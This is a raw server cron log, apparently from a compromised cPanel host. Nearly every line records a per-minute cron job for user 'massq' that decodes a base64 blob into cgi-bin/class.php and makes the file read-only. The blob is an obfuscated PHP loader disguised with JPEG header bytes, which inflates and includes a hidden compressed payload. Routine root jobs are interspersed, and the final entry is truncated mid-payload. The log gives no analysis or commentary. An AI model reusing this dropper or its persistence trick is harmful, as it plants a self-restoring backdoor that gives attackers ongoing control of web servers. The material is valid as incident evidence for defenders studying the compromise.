Apr 10 05:12:01 server CROND[4898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:12:01 server CROND[4900]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 05:13:01 server CROND[5008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:14:01 server CROND[5078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:15:01 server CROND[5133]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:15:01 server CROND[5132]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:15:01 server CROND[5134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:16:01 server CROND[5356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:17:01 server CROND[5413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:18:01 server CROND[5471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:19:01 server CROND[5577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:20:01 server CROND[5695]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 05:20:01 server CROND[5696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:20:01 server CROND[5697]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 05:20:01 server CROND[5698]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:20:01 server CROND[5701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:21:01 server CROND[5978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:22:01 server CROND[6089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:23:01 server CROND[6188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:24:01 server CROND[6290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:25:01 server CROND[6405]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:25:01 server CROND[6406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK